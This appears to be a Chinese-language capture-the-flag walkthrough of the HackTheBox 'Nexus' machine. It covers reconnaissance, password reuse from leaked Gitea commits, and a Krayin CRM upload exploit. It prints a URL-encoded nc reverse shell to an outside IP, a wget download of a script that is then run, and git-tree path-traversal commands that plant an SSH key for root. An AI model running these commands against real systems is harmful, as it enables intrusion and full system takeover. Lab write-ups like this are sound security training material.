HackTheBox 渗透靶场-Nexus
HackTheBox 渗透靶场-Nexus
FootHold
先上 fscan 扫,自从发现 fscan 的简单强大之后就习惯 fscan 起手,如果没什么进展或者需要比较全面的扫描才考虑上 nmap
./fscan -h 10.129.97.203 --nobr
有一个 http url,做一下映射。22 端口开放,后续要关注 ssh
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
10.129.97.203:80 open
10.129.97.203:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.129.97.203 code:302 len:154 title:302 Found 跳转url: http://nexus.htb/
已完成 2/2
[*] 扫描结束,耗时: 3.76102087s
看起来是个非开源框架,可以再扫描一次。顺便在网页上收集一些信息

这里有两个邮箱信息。二次扫描没发现已知漏洞,尝试枚举目录和子域名
dirsearch -u http://nexus.htb
gobuster vhost -u http://10.129.97.203/ --domain nexus.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt --append-domain
目录扫描没有结果,子域名发现一个登陆页面和 git

把扫到的子域名追加到 hosts 就可以访问了
git 页面上可以发现一个仓库 admin/krayin-docker-setup,其中泄露了很多信息
其中比较关键的是 DB 相关信息,同时还有一些邮件服务,如果后续需要再来看
DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=
但是这里发现没有密码,寻找之后发现在旧提交里

DB_PASSWORD=N27xh!!2ucY04
拿到一组账密信息,先考虑密码复用,这里已知的登录面有 billing 这个子域名和 22 端口,一个个看
首先是 billing.nexus.htb,需要邮箱登录,使用之前看到的邮箱登录成功
j.matthew@nexus.htb
N27xh!!2ucY04
进入后是一个 Krayin CRM 的 dashboard,查询发现是一个开源框架
源码拿到版本

searchsploit 找到已知 rce 漏洞

这里给的脚本是一个文件上传,直接上马,然后反弹 shell
searchsploit -m 52629
python 52629.py -t http://billing.nexus.htb -u 'j.matthew@nexus.htb' -p 'N27xh!!2ucY04' -f shell/shell.php

http://billing.nexus.htb/storage/tinymce/f1a6c65c3fd522b205de7ebdd9beb92b.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.17.22%209988%20%3E%2Ftmp%2Ff
有 python3,挂 full tty shell

User Token
然后上 linpeas 做枚举
wget http://10.10.17.22:9987/PEAS/linPEAS_zh.sh
chmod +x linPEAS_zh.sh
./linPEAS_zh.sh
发现可登录的用户 jones 和一个新的环境变量中的密码


尝试 ssh 登录,这里已知了两个密码都有可能,当然最新的这个可能性最大
ssh jones@10.129.97.203
y27xb3ha!!74GbR
成功登录,拿到 user token

Root Token
拿新的身份跑 linPEAS,看看有没有新的信息辅助提权
这里常规的提权点都没有发现可用信息,因此需要考虑服务。最常见的是进程,但是查看了一下也没有可疑的点,索性将结果给 ai 分析一下
发现有一个可疑的 systemd timer


查询相关信息
systemctl cat gitea-template-sync.timer
systemctl cat gitea-template-sync.service
# 看文件来源
ls -l /etc/systemd/system/gitea-template-sync.*
ls -l /usr/lib/systemd/system/gitea-template-sync.*
这个定时任务的作用是每分钟同步 gitea 服务的模板,调用的是 /etc/gitea/template-sync.py,且 User=root
import os
import sys
import json
import subprocess
import time
import urllib.request
GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"
def log(msg):
ts = time.strftime("%Y-%m-%d %H:%M:%S")
line = "[%s] %s" % (ts, msg)
print(line, flush=True)
try:
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
with open(LOG_FILE, 'a') as f:
f.write(line + '\n')
except:
pass
def load_config():
config = {}
for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
try:
with open(path) as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and '=' in line:
k, v = line.split('=', 1)
config[k.strip()] = v.strip()
except:
pass
return config
def get_token():
cfg = load_config()
return cfg.get('GITEA_API_TOKEN')
def get_template_repos(token):
url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
req = urllib.request.Request(url, headers={
'Authorization': 'token %s' % token
})
try:
with urllib.request.urlopen(req) as resp:
data = json.loads(resp.read())
repos = data.get('data', data) if isinstance(data, dict) else data
return [r for r in repos if r.get('template', False)]
except Exception as e:
log("API error: %s" % e)
return []
def sync_template(repo_info):
owner = repo_info['owner']['login']
name = repo_info['name'].lower()
bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
stage_path = os.path.join(STAGING_DIR, owner, name)
if not os.path.isdir(bare_path):
log(" repo not found: %s" % bare_path)
return
# Read tree entries from the bare repository
try:
GIT = ['git', '-c', 'safe.directory=*']
result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path,
capture_output=True, text=True, timeout=10
)
if result.returncode != 0:
log(" ls-tree failed: %s" % result.stderr.strip())
return
except Exception as e:
log(" ls-tree error: %s" % e)
return
entries = []
for line in result.stdout.strip().split('\n'):
if not line:
continue
parts = line.split('\t', 1)
if len(parts) != 2:
continue
meta, filepath = parts
mode, objtype, objhash = meta.split()
if objtype == 'blob':
entries.append((mode, objhash, filepath))
if not entries:
log(" no files in template")
return
# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
try:
os.makedirs(target_dir, exist_ok=True)
GIT = ['git', '-c', 'safe.directory=*']
cat_result = subprocess.run(
GIT + ['cat-file', 'blob', objhash],
cwd=bare_path,
capture_output=True, timeout=10
)
if cat_result.returncode != 0:
continue
with open(target, 'wb') as f:
f.write(cat_result.stdout)
if mode == '100755':
os.chmod(target, 0o755)
else:
os.chmod(target, 0o644)
log(" synced: %s" % filepath)
except Exception as e:
log(" error syncing %s: %s" % (filepath, e))
def main():
log("Template sync starting")
token = get_token()
if not token:
log("No API token found")
sys.exit(1)
templates = get_template_repos(token)
log("Found %d template repo(s)" % len(templates))
for repo in templates:
name = repo['full_name']
log("Syncing template: %s" % name)
sync_template(repo)
log("Template sync complete")
if __name__ == '__main__':
main()
文件是不可写的,大致看一下逻辑是将 Gitea 上的仓库同步到本地的 /home/git/template‑staging 内
如果能够拿到 gitea 的权限,就可以通过同步写入任意文件,并且这里的路径没有做校验,可能可以穿越
先尝试登录 gitea,使用之前找到的邮箱和第二次找到的密码登录成功
j.matthew@nexus.htb
y27xb3ha!!74GbR
然后新建一个仓库,有个设置为模板仓库的选项不知道有没有影响,先选上

由于 gitea 会过滤非法文件名,我们需要在本地创建文件再上传
先初始化仓库,一般 gitea 是在 3000 端口,也可以确认一下
git config --global user.email "j.matthew@nexus.htb"
git config --global user.name "jones"
touch README.md
git init
git checkout -b main
git add README.md
git commit -m "first commit"
git remote add origin http://localhost:3000/jones/evil-tmp.git
git push -u origin main
检查仓库没问题,就开始构建测试文件。这里是问 ai 来操作的
BLOB=$(echo "pwned" | git hash-object -w --stdin)
TREE_TMP=$(printf "100644 blob %s\t%s\n" "$BLOB" "test-pwn.txt" | git mktree)
TREE_D1=$(printf "040000 tree %s\t%s\n" "$TREE_TMP" "tmp" | git mktree)
TREE_D2=$(printf "040000 tree %s\t%s\n" "$TREE_D1" ".." | git mktree)
TREE_D3=$(printf "040000 tree %s\t%s\n" "$TREE_D2" ".." | git mktree)
TREE_D4=$(printf "040000 tree %s\t%s\n" "$TREE_D3" ".." | git mktree)
TREE_ROOT=$(printf "040000 tree %s\t%s\n" "$TREE_D4" ".." | git mktree)
COMMIT=$(echo "evil template payload" | git commit-tree $TREE_ROOT)
git update-ref refs/heads/main $COMMIT
git push -u -f origin main
我们可以通过 log 来查看是否同步
cat /var/log/template-sync.log


没问题之后我们就可以利用了,这里有两个思路:定时任务或者 ssh key
我这里使用 ssh key
ssh-keygen -t ed25519 -f /tmp/evil-key -N "" -C "attacker"
PUB_KEY=$(cat /tmp/evil-key.pub)
BLOB=$(echo "$PUB_KEY" | git hash-object -w --stdin)
TREE_SSH=$(printf "100644 blob %s\t%s\n" "$BLOB" "authorized_keys" | git mktree)
TREE_ROOT_DIR=$(printf "040000 tree %s\t%s\n" "$TREE_SSH" ".ssh" | git mktree)
TREE_D5=$(printf "040000 tree %s\t%s\n" "$TREE_ROOT_DIR" "root" | git mktree)
TREE_D4=$(printf "040000 tree %s\t%s\n" "$TREE_D5" ".." | git mktree)
TREE_D3=$(printf "040000 tree %s\t%s\n" "$TREE_D4" ".." | git mktree)
TREE_D2=$(printf "040000 tree %s\t%s\n" "$TREE_D3" ".." | git mktree)
TREE_D1=$(printf "040000 tree %s\t%s\n" "$TREE_D2" ".." | git mktree)
TREE_ROOT=$(printf "040000 tree %s\t%s\n" "$TREE_D1" ".." | git mktree)
COMMIT=$(echo "evil ssh payload" | git commit-tree $TREE_ROOT)
git update-ref refs/heads/main $COMMIT
git checkout main
git push -f origin main
同步后登录 root
ssh -i /tmp/evil-key root@localhost

拿到 root token

浙公网安备 33010602011771号